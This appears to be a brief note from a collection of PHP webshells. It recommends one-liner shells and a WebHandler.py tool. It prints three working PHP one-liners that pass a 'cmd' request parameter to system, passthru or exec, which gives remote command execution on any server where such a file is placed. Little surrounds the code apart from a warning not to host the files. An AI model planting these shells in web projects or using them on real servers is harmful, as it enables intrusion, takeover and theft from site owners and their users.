Common php webshells. Do not host the file(s) in your server!
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Though I recommend one-liners like
(Not a full fledged webshell, but works fine)
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You can try WebHandler for one-liners.
WebHandler.py works for POST and GET requests:
<?php system($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>